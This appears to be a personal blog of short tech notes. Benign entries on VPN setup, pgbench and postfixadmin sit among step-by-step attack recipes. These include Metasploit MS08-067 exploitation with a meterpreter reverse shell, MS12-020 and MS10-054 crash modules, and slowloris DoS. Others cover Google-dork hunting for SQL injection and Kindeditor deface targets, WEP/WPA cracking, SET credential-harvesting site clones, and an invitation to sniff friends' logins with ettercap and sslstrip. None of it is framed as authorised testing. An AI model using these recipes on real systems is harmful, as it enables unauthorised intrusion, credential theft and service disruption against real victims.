Setup IPVanish VPN for BlackBerry 10

Today, i'm gonna share how to setup IPVanish VPN on BlackBerry OS 10 (Blackberry Z3/Z10/Z30/Passport/Classic).

Since i'm a lazy person, I do apologize cannot share screenshot, only step how to do it. If you have any question, do not hesitate to drop your comments below.

How to create new VPN connection:

1. Open "Settings"
2. Choice"Networks and Connections"
3. Choice "VPN"
4. Add new VPN

Add VPN profile

Profile Name: anything
Server Address: IPVanish VPN server
Gateway Type: Generic IKEv2 VPN Server
Authentication Type: EAP-MSCHAPv2
Authentication ID Type: IPv4
MSCHAPv2 EAP Identity: anything, this field does not matter
MSCHAPv2 Username: ipvanish_username
MSCHAPv2 Password: ipvanish_user_password
Gateway Auth Type: PSK
Gateway Auth ID Type: IPv4
Gateway Preshared Key: ipvanish 
Perfect Forward Secrecy: not checked
There is no need to change any "Advanced" configurations.

Done! Try to connect to your new VPN setting. Good luck!

Uninstall rEFIt - quick and dirty

• Open "terminal",
• Application -> Terminal
• Delete "efi" folder,
• sudo rm -rf /efi
• Delete "rEFITBlesser",
• sudo rm -rf /Library/StartupItems/rEFItBlesser
• Done..   :)

Ettercap + SSLStrip

Wanna sniff some Facebook, Twitter or any kind of website under your network or poisoning your friend computer even that website using HTTPS for auth page? Well, ettercap and sslstrip are ready to help. 

Install Facebook Home on Nexus 3

Wanna try new facebook app? They call it Facebook Home. Well, it will give you new experiences get in touch with friends in fancy way. At least for me... hehe...

Unfortunately, they only release this app for Samsung Galaxy S3, Galaxy S4 and Note 2, and the HTC One X, One X+ and new HTC One.  But with the beauty of Android community, they port it into other phone. I tried this on my lovely Nexus 3 and it work like a charm.  I cannot guarantee this app also work on your phone. But just give it a shot.  ;)

PostgreSQL DB benchmarking

Creating DB benchmarking ---> pgbench -i -s 10 pgbench1

1. Benchmarking with pgbench

root@devel:/etc/pgbouncer# /usr/lib/postgresql/9.0/bin/pgbench -c 10 -C -T 60 -p 9999 -U postgres pgbench

starting vacuum...end.

transaction type: TPC-B (sort of)

scaling factor: 10

query mode: simple

number of clients: 10

number of threads: 1

duration: 60 s

number of transactions actually processed: 19034

tps = 317.123852 (including connections establishing)

tps = 387.216036 (excluding connections establishing)

Fixing :sudo:must be setuid root" problem

Use this command:

chmod u+s /usr/bin/sudo

ms08_067_netapi metasploit module - quick note

1. use windows/smb/ms08_067_netapi

2. set payload windows/meterpreter/reverse_tcp

3. show options

4. show target

5. set target 4

6. show target

7. set RHOST 192.168.169.145

8. set LHOST 192.168.169.132

9. show options

10. check

11. exploit

ms12_020_maxchannelids metasploit module - quick note

1. use auxiliary/dos/windows/rdp/ms12_020_maxchannelids

2. set RHOST 192.168.169.145

3. run

ms08_067_netapi metasploit module - quick note

1. use windows/smb/ms08_067_netapi

2. set payload windows/meterpreter/reverse_tcp

3. show options

4. show target

5. set target 4

6. show target

7. set RHOST 192.168.169.145

8. set LHOST 192.168.169.132

9. show options

10. meterpreter> run vnc  

and you will got your vnc…  ;)

Wine rebuild

This method if we failed and wanna rebuild wine from beginning,

1. Run winetricks
2. Choice "Select the default wineprefix"
3. Choice "Delete ALL DATA AND APPLICATIONS INSIDE THIS WINEPREFIX"
4. When it finish. Run winecfg
5. You can choice Windows Version you like. Such as XP or 7
6. Then run winetricks again
7. Choice "Select the default wineprefix"
8. Choice "Install a Windows DLL or component"
9. You can install necessary windows component, such as dotnet, jet40, mdac28, and others 

postfixadmin on ubuntu

1. download postfix admin from http://postfixadmin.sourceforge.net/

2. install all necessary packages,

sudo apt-get install postfix postfix-mysql dovecot-postfix mysql-server apache2 php5 php5-mysql php5-imap

3. on "Postfix Configuration" wizard, please choice "Internet Site"

4. put your system mail name on next "Postfix Configuration" wizard

SQL Injection using HVIJ

1. find your target using Google Dorks. Here's all the Google Dorks list,

http://pastebin.com/0FqmasC7

2. pick one of your prefer Google Dorks and start searching using all those query with, 'inurl:' at beginning of your queries.

ex,

inurl:read.php?id=

you can combine like this for looking specific domain,

inurl:prod_detail.php?id= site:.mn

SQL Injection using SQLMAP

1. still use Google dorks for finding the targets

http://pastebin.com/86tBDdxv

2. use Google dorks like this,

ex,

inurl:prod_detail.php?id=

you can combine like this for looking specific domain,

inurl:prod_detail.php?id= site:.mn

Web server DdoS with slowloris

1. download from http://ha.ckers.org/slowloris/

2. install perl-doc for reading slowloris manual

3. run slowloris,

./slowloris.pl -dns www.example.com -port 80 -timeout 2000 -num 500 -tcpto 5

4. run slowloris for https,

./slowloris.pl -dns www.example.com -port 443 -timeout 30 -num 500 -https

Kindeditor XSS bugs

1. find your target using Google Dork,

inurl:examples/uploadbutton.html

you can combine like this for looking specific domain,

inurl:prod_detail.php?id= site:.mn

2. click the url victim

ex,

http://yourtarget.com/web/Public/kindeditor/examples/uploadbutton.html

3. click upload button, choose your html file as deface signature and copy the path and paste to url,

ex,

http://yourtarget.com/web/Public/kindeditor/attached/file/20130409/20130409130830_55310.html

and press enter

Hacking WPA/WPA2 without word dictionary

This method only work against WPA/WPA2 on WiFI with WPS enabled.

1. Install reaver,

apt-get install reaver

2. Install aircrack-ng

apt-get install aircrack-ng

3. Put your wireless card into monitoring mode,

airmon-ng start wlan0

Hacking WEP

1. make sure you're not connected to any wireless

ifconfig wlan0 down

2. start wifi monitoring mode. if success, you gonna have new wifi interface, mon0.

airmon-ng start wlan0

3. monitor all wifi around you. find any WEP near you. Once done, hit "ctrl+c" for stop.

airodump-ng mon0

Hacking WPA/WPA2

1. start airmon-ng

airmon-ng start wlan0

2. monitor the wifi and keep it running!

airodump-ng -c 3 -w capturefile --bbsid targetbssid --ivs mon0

ex,

airodump-ng -c -w mytarget --bssid 00:11:22:33:44:55 --ivs mon0

3. open new terminal.

aireplay-ng -0 1 -a targetbssid -c yourmacaddress mon0

ex,

aireplay-ng -0 1 -a 00:11:22:33:44:55 -c 55:44:33:22:11:00 mon0

wait for the handshake!

Social Engineering Attacks - Web Clone / Harvesting Credentials

1. run your backtrack

2. run set app

cd /pentest/exploits/set

./set

3. choice "Social-Engineering Attacks"

4. choice "Website Attack Vectors"

5. choice "Tabnabbing Attack Method"

6. choice "Site Cloner"

MS10-054 - Vulnerabilities in SMB Could Allow Remote Code Execution

Bugs : MS10-054 - Vulnerabilities in SMB Could Allow Remote Code Execution

OS : Windows XP SP 0/1

Level : Critical

Metasploit module : auxiliary/dos/windows/smb/ms10_054_queryfs_pool_overflow

Use : 

1. use auxiliary/dos/windows/smb/ms10_054_queryfs_pool_overflow
2. set RHOST target_ip
3. set SMBSHARE target_share_folder_name
4. run

Output : 

[*] Sending malformed trans2 request..

[*] The target should encounter a blue screen error now.

[*] Auxiliary module execution completed

Cause : BSOD on target machine